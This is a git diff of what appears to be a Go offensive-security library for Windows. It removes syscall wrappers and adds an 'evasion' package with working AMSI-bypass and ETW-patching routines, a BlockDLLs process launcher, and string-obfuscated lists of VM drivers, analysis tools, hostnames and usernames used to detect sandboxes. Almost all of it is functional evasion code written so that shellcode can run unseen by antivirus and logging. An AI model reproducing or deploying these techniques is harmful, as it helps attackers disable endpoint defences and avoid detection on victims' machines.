- time.Sleep(50 * time.Millisecond)
-
- pe0, err := pe.NewFileFromMemory(bytes.NewReader(cache))
- if err != nil {
- return err
- }
-
- secHdr := pe0.Section(string([]byte{'.', 't', 'e', 'x', 't'}))
-
- startOffset := findFirstSyscallOffset(cache, int(secHdr.VirtualSize), addrMod)
- endOffset := findLastSyscallOffset(cache, int(secHdr.VirtualSize), addrMod)
- cleanSyscalls := cache[startOffset:endOffset]
-
- // Don't handle error as it may return false errors
- WriteProcessMemory.Call(
- uintptr(0xffffffffffffffff),
- uintptr(addrMod+uintptr(startOffset)),
- uintptr(unsafe.Pointer(&cleanSyscalls[0])),
- uintptr(len(cleanSyscalls)),
- 0,
- )
-
- return nil
-}
diff --git a/core/wrappers.go b/core/wrappers.go
deleted file mode 100644
index 697906a..0000000
--- a/core/wrappers.go
+++ /dev/null
@@ -1,94 +0,0 @@
-package core
-
-/*
-
-This file contains some useful functions which
-act as a wrapper for native function so you can use them
-like kernel32.dll original functions but using native ones
-under the hood with Halo's Gate technique
-
-*/
-
-import (
- "errors"
- "unsafe"
-)
-
-// addr, err := VirtualAlloc(pHandle, 0, uintptr(len(shellcode)), windows.MEM_COMMIT | windows.MEM_RESERVE, windows.PAGE_READWRITE)
-func VirtualAlloc(handle uintptr, zero uintptr, regionsize uintptr, allocType uintptr, allocProtection uintptr) (uintptr, error) {
-
- // Get syscall
- sysId, err := GetSysId("NtAllocateVirtualMemory")
- if err != nil {
- return 0, err
- }
-
- var baseA uintptr
- r, _ := Syscall(
- sysId,
- handle,
- uintptr(unsafe.Pointer(&baseA)),
- zero,
- uintptr(unsafe.Pointer(®ionsize)),
- allocType,
- allocProtection,
- )
-
- if r != 0 {
- return 0, errors.New("NtAllocateVirtualMemory syscall returned non-zero error code")
- }
-
- return baseA, nil
-}
-
-// err := VirtualProtect(pHandle, &addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
-func VirtualProtect(pHandle uintptr, addr uintptr, regionsize uintptr, newProtect uintptr, oldProtect uintptr) error {
-
- // Get syscall
- sysId, err := GetSysId("NtProtectVirtualMemory")
- if err != nil {
- return err
- }
-
- r, _ := Syscall(
- sysId,
- uintptr(pHandle),
- uintptr(addr),
- uintptr(unsafe.Pointer(®ionsize)),
- uintptr(newProtect),
- uintptr(oldProtect),
- )
-
- if r != 0 {
- return errors.New("NtProtectVirtualMemory syscall returned non-zero error code")
- }
-
- return nil
-}
-
-// err := WriteProcessMemory(pHandle, addr, uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
-func WriteProcessMemory(pHandle uintptr, addr uintptr, buffer uintptr, buffer_len uintptr) error {
-
- // Get syscall
- sysId, err := GetSysId("NtWriteVirtualMemory")
- if err != nil {
- return err
- }
-
- var num_bytes uint32
-
- r, err := Syscall(
- sysId,
- uintptr(pHandle),
- uintptr(addr),
- uintptr(buffer),
- uintptr(buffer_len),
- uintptr(unsafe.Pointer(&num_bytes)),
- )
-
- if (r != 0) || (err != nil) {
- return errors.New("NtWriteVirtualMemory syscall returned non-zero error code")
- }
-
- return nil
-}
diff --git a/core/acg.go b/evasion/acg.go
similarity index 89%
rename from core/acg.go
rename to evasion/acg.go
index 54bb036..e6ce58f 100644
--- a/core/acg.go
+++ b/evasion/acg.go
@@ -1,4 +1,4 @@
-package core
+package evasion
import (
"errors"
@@ -27,7 +27,7 @@ type PROCESS_MITIGATION_DYNAMIC_CODE_POLICY struct {
}
func EnableACG() error {
- kernel32 := windows.NewLazyDLL("kernel32.dll")
+ kernel32 := windows.NewLazyDLL(string([]byte{'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l'}))
SetProcessMitigationPolicy := kernel32.NewProc("SetProcessMitigationPolicy")
var ProcessDynamicCodePolicy int32 = 2
diff --git a/evasion/amsi.go b/evasion/amsi.go
new file mode 100644
index 0000000..dad810f
--- /dev/null
+++ b/evasion/amsi.go
@@ -0,0 +1,88 @@
+package evasion
+
+import (
+ "golang.org/x/sys/windows"
+ "unsafe"
+)
+
+var amsi_patch = []byte{0xB2 + 6, 0x52 + 5, 0x00, 0x04 + 3, 0x7E + 2, 0xc2 + 1}
+
+func PatchAmsi() error {
+ AmsiScanBuffer := windows.NewLazyDLL("ntdll.dll").NewProc("AmsiScanBuffer")
+ ntdll := windows.NewLazyDLL("ntdll.dll")
+ NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory")
+ NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
+
+ baseAddress := AmsiScanBuffer.Addr()
+ numberOfBytesToProtect := uintptr(len(amsi_patch))
+ var oldProtect uintptr
+
+ r1, _, err := NtProtectVirtualMemory.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&baseAddress)), uintptr(unsafe.Pointer(&numberOfBytesToProtect)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
+ if r1 != 0 {
+ return err
+ }
+
+ NtWriteVirtualMemory.Call(uintptr(0xffffffffffffffff), AmsiScanBuffer.Addr(), uintptr(unsafe.Pointer(&amsi_patch[0])), unsafe.Sizeof(amsi_patch), 0)
+
+ r2, _, err := NtProtectVirtualMemory.Call(uintptr(0xffffffffffffffff), uintptr(unsafe.Pointer(&baseAddress)), uintptr(unsafe.Pointer(&numberOfBytesToProtect)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect)))
+ if r2 != 0 {
+ return err
+ }
+
+ return nil
+}
+
+func PatchAmsi2() error {
+ kernel32 := windows.NewLazyDLL("kernel32.dll")
+ //OpenProcess := kernel32.NewProc("OpenProcess")
+ GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
+
+ ntdll := windows.NewLazyDLL("ntdll.dll")
+ NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
+ NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory")
+
+ amsi := windows.NewLazyDLL("amsi.dll")
+ AmsiOpenSession := amsi.NewProc("Am" + "siOp" + "enS" + "essi" + "on")
+
+ patch := []byte{0x75}
+
+ var oldProtect uint32
+ var memPage uintptr = 0x1000
+
+ pHandle, _, _ := GetCurrentProcess.Call()
+ // this can be modified to allow remote process AMSI patching
+ //pHandle, _, _ := OpenProcess.Call(windows.PROCESS_VM_OPERATION|windows.PROCESS_VM_WRITE, uintptr(0), uintptr(pid))
+
+ addr := AmsiOpenSession.Addr()
+ addr2 := AmsiOpenSession.Addr()
+
+ for i := 0; i < 1024; i++ {
+ if *(*byte)(unsafe.Pointer(addr + uintptr(i))) == 0x74 {
+ addr = addr + uintptr(1)
+ break
+ }
+ }
+
+ r1, _, err := NtProtectVirtualMemory.Call(uintptr(pHandle), uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(&memPage)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
+ if r1 != 0 {
+ return err
+ }
+
+ for i := 0; i < 1024; i++ {
+ if *(*byte)(unsafe.Pointer(addr2 + uintptr(i))) == 0x74 {
+ addr2 = addr2 + uintptr(1)
+ break
+ }
+ }
+
+ var regionsize uintptr
+ NtWriteVirtualMemory.Call(uintptr(pHandle), addr2, uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)), uintptr(unsafe.Pointer(®ionsize)))
+
+ r2, _, err := NtProtectVirtualMemory.Call(uintptr(pHandle), uintptr(unsafe.Pointer(&addr2)), uintptr(unsafe.Pointer(&memPage)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect)))
+ if r2 != 0 {
+ return err
+ }
+
+ return nil
+}
+
diff --git a/core/asm_x64.s b/evasion/asm_x64.s
similarity index 100%
rename from core/asm_x64.s
rename to evasion/asm_x64.s
diff --git a/evasion/blockdlls.go b/evasion/blockdlls.go
new file mode 100644
index 0000000..bcc1dcb
--- /dev/null
+++ b/evasion/blockdlls.go
@@ -0,0 +1,120 @@
+package evasion
+
+import (
+ "fmt"
+ "golang.org/x/sys/windows"
+ "unsafe"
+ "errors"
+)
+
+/*
+
+typedef struct _PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY {
+ union {
+ DWORD Flags;
+ struct {
+ DWORD MicrosoftSignedOnly : 1;
+ DWORD StoreSignedOnly : 1;
+ DWORD MitigationOptIn : 1;
+ DWORD AuditMicrosoftSignedOnly : 1;
+ DWORD AuditStoreSignedOnly : 1;
+ DWORD ReservedFlags : 27;
+ } DUMMYSTRUCTNAME;
+ } DUMMYUNIONNAME;
+} PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY, *PPROCESS_MITIGATION_BINARY_SIGNATURE_POLICY;
+
+*/
+
+type PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY struct {
+ Flags uint32
+}
+
+// block non Microsoft-signed DLLs to inject in current process
+func BlockDLLs() error {
+ kernel32 := windows.NewLazySystemDLL("kernel32.dll")
+ SetProcessMitigationPolicy := kernel32.NewProc("SetProcessMitigationPolicy")
+
+ var ProcessSignaturePolicy uint32 = 8
+ var sp PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY
+
+ // set MicrosoftSignedOnly
+ sp.Flags = 0x1
+
+ ret, _, err := SetProcessMitigationPolicy.Call(
+ uintptr(ProcessSignaturePolicy),
+ uintptr(unsafe.Pointer(&sp)),
+ unsafe.Sizeof(sp),
+ )
+
+ if ret == 0 {
+ return errors.New(fmt.Sprintf("error: %s\nSetProcessMitigationPolicy returned %x", err, ret))
+ }
+
+ return nil
+}
+
+// launch a program (C:\Windows\System32\notepad.exe) with BlockDLLs enabled
+func CreateProcessBlockDLLs(cmd string) error {
+ kernel32 := windows.NewLazyDLL("kernel32.dll")
+ InitializeProcThreadAttributeList := kernel32.NewProc("InitializeProcThreadAttributeList")
+ UpdateProcThreadAttribute := kernel32.NewProc("UpdateProcThreadAttribute")
+ GetProcessHeap := kernel32.NewProc("GetProcessHeap")
+ HeapAlloc := kernel32.NewProc("HeapAlloc")
+ HeapFree := kernel32.NewProc("HeapFree")
+ CreateProcess := kernel32.NewProc("CreateProcessW")
+
+ procThreadAttributeSize := uintptr(0)
+ InitializeProcThreadAttributeList.Call(0, 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))
+
+ procHeap, _, err := GetProcessHeap.Call()
+ if procHeap == 0 {
+ return err
+ }
+
+ attributeList, _, err := HeapAlloc.Call(procHeap, 0, procThreadAttributeSize)
+ if attributeList == 0 {
+ return err
+ }
+ defer HeapFree.Call(procHeap, 0, attributeList)
+
+ var si StartupInfoEx
+ si.AttributeList = (*PROC_THREAD_ATTRIBUTE_LIST)(unsafe.Pointer(attributeList))
+
+ InitializeProcThreadAttributeList.Call(uintptr(unsafe.Pointer(si.AttributeList)), 2, 0, uintptr(unsafe.Pointer(&procThreadAttributeSize)))
+
+ mitigate := 0x20007
+ nonms := uintptr(0x100000000000|0x1000000000)
+
+ r, _, err := UpdateProcThreadAttribute.Call(uintptr(unsafe.Pointer(si.AttributeList)), 0, uintptr(mitigate), uintptr(unsafe.Pointer(&nonms)), uintptr(unsafe.Sizeof(nonms)), 0, 0)
+ if r == 0 {
+ return err
+ }
+
+ commandline, err := windows.UTF16PtrFromString(cmd)
+ if err != nil {
+ return err
+ }
+
+ var pi ProcessInformation
+ si.Cb = uint32(unsafe.Sizeof(si))
+ flags := windows.EXTENDED_STARTUPINFO_PRESENT
+
+ r, _, err = CreateProcess.Call(
+ 0,
+ uintptr(unsafe.Pointer(commandline)),
+ 0,
+ 0,
+ 1,
+ uintptr(uint32(flags)),
+ 0,
+ 0,
+ uintptr(unsafe.Pointer(&si)),
+ uintptr(unsafe.Pointer(&pi)),
+ )
+
+ if r == 0 {
+ return err
+ }
+
+ return nil
+}
diff --git a/evasion/consts.go b/evasion/consts.go
new file mode 100644
index 0000000..781a876
--- /dev/null
+++ b/evasion/consts.go
@@ -0,0 +1,98 @@
+package evasion
+
+var drivers []string = []string{
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'V', 'B', 'o', 'x', 'M', 'o', 'u', 's', 'e', '.', 's', 'y', 's'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'V', 'B', 'o', 'x', 'G', 'u', 'e', 's', 't', '.', 's', 'y', 's'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'V', 'B', 'o', 'x', 'S', 'F', '.', 's', 'y', 's'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'V', 'B', 'o', 'x', 'V', 'i', 'd', 'e', 'o', '.', 's', 'y', 's'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'd', 'i', 's', 'p', '.', 'd', 'l', 'l'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'h', 'o', 'o', 'k', '.', 'd', 'l', 'l'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'm', 'r', 'x', 'n', 'p', '.', 'd', 'l', 'l'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'o', 'g', 'l', '.', 'd', 'l', 'l'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 'o', 'g', 'l', 'a', 'r', 'r', 'a', 'y', 's', 'p', 'u', '.', 'd', 'l', 'l'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 's', 'e', 'r', 'v', 'i', 'c', 'e', '.', 'e', 'x', 'e'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'v', 'b', 'o', 'x', 't', 'r', 'a', 'y', '.', 'e', 'x', 'e'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'V', 'B', 'o', 'x', 'C', 'o', 'n', 't', 'r', 'o', 'l', '.', 'e', 'x', 'e'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'm', 'o', 'u', 's', 'e', '.', 's', 'y', 's'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'h', 'g', 'f', 's', '.', 's', 'y', 's'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'c', 'i', '.', 's', 'y', 's'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'm', 'e', 'm', 'c', 't', 'l', '.', 's', 'y', 's'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'm', 'o', 'u', 's', 'e', '.', 's', 'y', 's'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'r', 'a', 'w', 'd', 's', 'k', '.', 's', 'y', 's'}),
+
+ string([]byte{'C', ':', '\\', 'W', 'i', 'n', 'd', 'o', 'w', 's', '\\', 'S', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'd', 'r', 'i', 'v', 'e', 'r', 's', '\\', 'v', 'm', 'u', 's', 'b', 'm', 'o', 'u', 's', 'e', '.', 's', 'y', 's'}),
+}
+
+var processes []string = []string{ // Sandbox processes taken from https://github.com/LordNoteworthy/al-khaser
+ string([]byte{'v', 'b', 'o', 'x', 's', 'e', 'r', 'v', 'i', 'c', 'e', '.', 'e', 'x', 'e'}),
+ string([]byte{'v', 'b', 'o', 'x', 't', 'r', 'a', 'y', '.', 'e', 'x', 'e'}),
+ string([]byte{'v', 'm', 't', 'o', 'o', 'l', 's', 'd', '.', 'e', 'x', 'e'}),
+ string([]byte{'v', 'm', 'w', 'a', 'r', 'e', 't', 'r', 'a', 'y', '.', 'e', 'x', 'e'}),
+ string([]byte{'v', 'm', 'w', 'a', 'r', 'e', '.', 'e', 'x', 'e'}),
+ string([]byte{'v', 'm', 'w', 'a', 'r', 'e', '-', 'v', 'm', 'x', '.', 'e', 'x', 'e'}),
+ string([]byte{'v', 'm', 'w', 'a', 'r', 'e', 'u', 's', 'e', 'r'}),
+ string([]byte{'V', 'G', 'A', 'u', 't', 'h', 'S', 'e', 'r', 'v', 'i', 'c', 'e', '.', 'e', 'x', 'e'}),
+ string([]byte{'v', 'm', 'a', 'c', 't', 'h', 'l', 'p', '.', 'e', 'x', 'e'}),
+ string([]byte{'v', 'm', 's', 'r', 'v', 'c', '.', 'e', 'x', 'e'}),
+ string([]byte{'v', 'm', 'u', 's', 'r', 'v', 'c', '.', 'e', 'x', 'e'}),
+ string([]byte{'x', 'e', 'n', 's', 'e', 'r', 'v', 'i', 'c', 'e', '.', 'e', 'x', 'e'}),
+ string([]byte{'q', 'e', 'm', 'u', '-', 'g', 'a', '.', 'e', 'x', 'e'}),
+ string([]byte{'w', 'i', 'r', 'e', 's', 'h', 'a', 'r', 'k', '.', 'e', 'x', 'e'}),
+ string([]byte{'P', 'r', 'o', 'c', 'm', 'o', 'n', '.', 'e', 'x', 'e'}),
+ string([]byte{'P', 'r', 'o', 'c', 'm', 'o', 'n', '6', '4', '.', 'e', 'x', 'e'}),
+ string([]byte{'v', 'o', 'l', 'a', 't', 'i', 'l', 'y', '.', 'e', 'x', 'e'}),
+ string([]byte{'v', 'o', 'l', 'a', 't', 'i', 'l', 'y', '3', '.', 'e', 'x', 'e'}),
+ string([]byte{'D', 'u', 'm', 'p', 'I', 't', '.', 'e', 'x', 'e'}),
+ string([]byte{'d', 'u', 'm', 'p', 'i', 't', '.', 'e', 'x', 'e'}),
+}
+
+var hostnames_list []string = []string{
+ string([]byte{'S', 'a', 'n', 'd', 'b', 'o', 'x'}),
+ string([]byte{'S', 'A', 'N', 'D', 'B', 'O', 'X'}),
+ string([]byte{'m', 'a', 'l', 'w', 'a', 'r', 'e'}),
+ string([]byte{'v', 'i', 'r', 'u', 's'}),
+ string([]byte{'V', 'i', 'r', 'u', 's'}),
+ string([]byte{'s', 'a', 'm', 'p', 'l', 'e'}),
+ string([]byte{'d', 'e', 'b', 'u', 'g'}),
+ string([]byte{'U', 'S', 'E', 'R', '-', 'P', 'C'}),
+ string([]byte{'a', 'n', 'a', 'l', 'y', 's', 'i', 's'}),
+ string([]byte{'c', 'u', 'c', 'k', 'o', 'o'}),
+ string([]byte{'c', 'u', 'c', 'k', 'o', 'o', 'f', 'o', 'r', 'k'}),
+ string([]byte{'C', 'u', 'c', 'k', 'o', 'o'}),
+}
+
+var usernames_list []string = []string{
+ string([]byte{'s', 'a', 'n', 'd', 'b', 'o', 'x'}),
+ string([]byte{'v', 'i', 'r', 'u', 's'}),
+ string([]byte{'m', 'a', 'l', 'w', 'a', 'r', 'e'}),
+ string([]byte{'d', 'e', 'b', 'u', 'g', '4', 'f', 'u', 'n'}),
+ string([]byte{'d', 'e', 'b', 'u', 'g'}),
+ string([]byte{'s', 'y', 's'}),
+ string([]byte{'u', 's', 'e', 'r', '1'}),
+ string([]byte{'V', 'i', 'r', 't', 'u', 'a', 'l'}),
+ string([]byte{'v', 'i', 'r', 't', 'u', 'a', 'l'}),
+ string([]byte{'a', 'n', 'a', 'l', 'y', 'i', 's'}),
+ string([]byte{'t', 'r', 'a', 'n', 's', '_', 'i', 's', 'o', '_', '0'}),
+ string([]byte{'j', '.', 'y', 'o', 'r', 'o', 'i'}),
+ string([]byte{'v', 'e', 'n', 'u', 's', 'e', 'y', 'e'}),
+ string([]byte{'V', 'e', 'n', 'u', 's', 'E', 'y', 'e'}),
+ string([]byte{'V', 'i', 'r', 'u', 's', 'T', 'o', 't', 'a', 'l'}),
+ string([]byte{'v', 'i', 'r', 'u', 's', 't', 'o', 't', 'a', 'l'}),
+}
diff --git a/evasion/etw.go b/evasion/etw.go
new file mode 100644
index 0000000..710d7d9
--- /dev/null
+++ b/evasion/etw.go
@@ -0,0 +1,59 @@
+package evasion
+
+import (
+ "encoding/hex"
+ "golang.org/x/sys/windows"
+ "unsafe"
+)
+
+func PatchEtw() error {
+ ntdll := windows.NewLazyDLL("ntdll.dll")
+ WriteProcessMemory := windows.NewLazyDLL("kernel32.dll").NewProc("WriteProcessMemory")
+
+ EtwEventWrite := ntdll.NewProc("EtwEventWrite")
+ EtwEventWriteEx := ntdll.NewProc("EtwEventWriteEx")
+ EtwEventWriteFull := ntdll.NewProc("EtwEventWriteFull")
+ EtwEventWriteString := ntdll.NewProc("EtwEventWriteString")
+ EtwEventWriteTransfer := ntdll.NewProc("EtwEventWriteTransfer")
+
+ addresses := []uintptr{EtwEventWriteFull.Addr(), EtwEventWrite.Addr(), EtwEventWriteEx.Addr(), EtwEventWriteString.Addr(), EtwEventWriteTransfer.Addr()}
+
+ for i := range addresses {
+ data, _ := hex.DecodeString(string([]byte{'4', '8', '3', '3', 'C', '0', 'C', '3'}))
+
+ WriteProcessMemory.Call(uintptr(0xffffffffffffffff), uintptr(addresses[i]), uintptr(unsafe.Pointer(&data[0])), uintptr(len(data)), 0)
+ }
+
+ return nil
+}
+
+func PatchEtw2() error {
+ kernel32 := windows.NewLazyDLL("kernel32.dll")
+ ntdll := windows.NewLazyDLL("ntdll.dll")
+ GetCurrentProcess := kernel32.NewProc("GetCurrentProcess")
+ NtTraceEvent := ntdll.NewProc("NtTraceEvent")
+ NtWriteVirtualMemory := ntdll.NewProc("NtWriteVirtualMemory")
+ NtProtectVirtualMemory := ntdll.NewProc("NtProtectVirtualMemory")
+
+ pHandle, _, _ := GetCurrentProcess.Call()
+
+ var patch = []byte{0xc3}
+ var oldProtect uintptr
+ var addr uintptr = NtTraceEvent.Addr()
+ regionsize := uintptr(len(patch))
+
+ r1, _, err := NtProtectVirtualMemory.Call(pHandle, uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(®ionsize)), windows.PAGE_EXECUTE_READWRITE, uintptr(unsafe.Pointer(&oldProtect)))
+ if r1 != 0 {
+ return err
+ }
+
+ NtWriteVirtualMemory.Call(pHandle, addr, uintptr(unsafe.Pointer(&patch[0])), uintptr(len(patch)), 0)
+
+ r2, _, err := NtProtectVirtualMemory.Call(pHandle, uintptr(unsafe.Pointer(&addr)), uintptr(unsafe.Pointer(®ionsize)), uintptr(oldProtect), uintptr(unsafe.Pointer(&oldProtect)))
+ if r2 != 0 {
+ return err
+ }
+
+ return nil
+}
+
diff --git a/evasion/exports.go b/evasion/exports.go
new file mode 100644
index 0000000..8c94fdf
--- /dev/null
+++ b/evasion/exports.go
@@ -0,0 +1,211 @@
+package evasion
+
+import (
+ "unsafe"
+ "golang.org/x/sys/windows"
+)
+
+type StartupInfoEx struct {
+ windows.StartupInfo
+ AttributeList *PROC_THREAD_ATTRIBUTE_LIST
+}
+
+type ProcessInformation struct {
+ Process Handle
+ Thread Handle
+ ProcessId uint32
+ ThreadId uint32
+}
+
+type Handle uintptr
+
+type PROC_THREAD_ATTRIBUTE_LIST struct {
+ dwFlags uint32
+ size uint64
+ count uint64
+ reserved uint64
+ unknown *uint64
+ entries []*PROC_THREAD_ATTRIBUTE_ENTRY
+}
+
+type PROC_THREAD_ATTRIBUTE_ENTRY struct {
+ attribute *uint32
+ cbSize uintptr
+ lpValue uintptr
+}
+
+type ExportDirectory struct {
+ ExportFlags uint32 // reserved, must be zero
+ TimeDateStamp uint32
+ MajorVersion uint16
+ MinorVersion uint16
+ NameRVA uint32 // pointer to the name of the DLL
+ OrdinalBase uint32
+ NumberOfFunctions uint32
+ NumberOfNames uint32 // also Ordinal Table Len
+ AddressTableAddr uint32 // RVA of EAT, relative to image base
+ NameTableAddr uint32 // RVA of export name pointer table, relative to image base
+ OrdinalTableAddr uint32 // address of the ordinal table, relative to iamge base
+
+ DllName string
+}
+
+type Export struct {
+ Ordinal uint32
+ Name string
+ VirtualAddress uint32
+ Forward string
+}
+
+type sstring struct {
+ Length uint16
+ MaxLength uint16
+ PWstr *uint16
+}
+
+func (s sstring) String() string {
+ return windows.UTF16PtrToString(s.PWstr)
+}
+
+type IMAGE_OPTIONAL_HEADER struct {
+ Magic uint16
+ MajorLinkerVersion uint8
+ MinorLinkerVersion uint8
+ SizeOfCode uint32
+ SizeOfInitializedData uint32
+ SizeOfUninitializedData uint32
+ AddressOfEntryPoint uint32
+ BaseOfCode uint32
+ ImageBase uint64
+ SectionAlignment uint32
+ FileAlignment uint32
+ MajorOperatingSystemVersion uint16
+ MinorOperatingSystemVersion uint16
+ MajorImageVersion uint16
+ MinorImageVersion uint16
+ MajorSubsystemVersion uint16
+ MinorSubsystemVersion uint16
+ Win32VersionValue uint32
+ SizeOfImage uint32
+ SizeOfHeaders uint32
+ CheckSum uint32
+ Subsystem uint16
+ DllCharacteristics uint16
+ SizeOfStackReserve uint64
+ SizeOfStackCommit uint64
+ SizeOfHeapReserve uint64
+ SizeOfHeapCommit uint64
+ LoaderFlags uint32
+ NumberOfRvaAndSizes uint32
+ DataDirectory [16]IMAGE_DATA_DIRECTORY
+}
+
+type IMAGE_OPTIONAL_HEADER64 IMAGE_OPTIONAL_HEADER
+
+type IMAGE_OPTIONAL_HEADER32 struct {
+ Magic uint16
+ MajorLinkerVersion byte
+ MinorLinkerVersion byte
+ SizeOfCode uint32
+ SizeOfInitializedData uint32
+ SizeOfUninitializedData uint32
+ AddressOfEntryPoint uint32
+ BaseOfCode uint32
+ BaseOfData uint32 // Different from 64 bit header
+ ImageBase uint64
+ SectionAlignment uint32
+ FileAlignment uint32
+ MajorOperatingSystemVersion uint16
+ MinorOperatingSystemVersion uint16
+ MajorImageVersion uint16
+ MinorImageVersion uint16
+ MajorSubsystemVersion uint16
+ MinorSubsystemVersion uint16
+ Win32VersionValue uint32
+ SizeOfImage uint32
+ SizeOfHeaders uint32
+ CheckSum uint32
+ Subsystem uint16
+ DllCharacteristics uint16
+ SizeOfStackReserve uint64
+ SizeOfStackCommit uint64
+ SizeOfHeapReserve uint64
+ SizeOfHeapCommit uint64
+ LoaderFlags uint32
+ NumberOfRvaAndSizes uint32
+ DataDirectory uintptr
+}
+
+type IMAGE_DATA_DIRECTORY struct {
+ VirtualAddress uint32
+ Size uint32
+}
+
+type IMAGE_FILE_HEADER struct {
+ Machine uint16
+ NumberOfSections uint16
+ TimeDateStamp uint32
+ PointerToSymbolTable uint32
+ NumberOfSymbols uint32
+ SizeOfOptionalHeader uint16
+ Characteristics uint16
+}
+
+type IMAGE_NT_HEADER struct {
+ Signature uint32
+ FileHeader IMAGE_FILE_HEADER
+ OptionalHeader IMAGE_OPTIONAL_HEADER
+}
+
+type IMAGE_DOS_HEADER struct { // DOS .EXE header
+ E_magic uint16 // Magic number
+ E_cblp uint16 // Bytes on last page of file
+ E_cp uint16 // Pages in file
+ E_crlc uint16 // Relocations
+ E_cparhdr uint16 // Size of header in paragraphs
+ E_minalloc uint16 // Minimum extra paragraphs needed
+ E_maxalloc uint16 // Maximum extra paragraphs needed
+ E_ss uint16 // Initial (relative) SS value
+ E_sp uint16 // Initial SP value
+ E_csum uint16 // Checksum
+ E_ip uint16 // Initial IP value
+ E_cs uint16 // Initial (relative) CS value
+ E_lfarlc uint16 // File address of relocation table
+ E_ovno uint16 // Overlay number
+ E_res [4]uint16 // Reserved words
+ E_oemid uint16 // OEM identifier (for E_oeminfo)
+ E_oeminfo uint16 // OEM information; E_oemid specific
+ E_res2 [10]uint16 // Reserved words
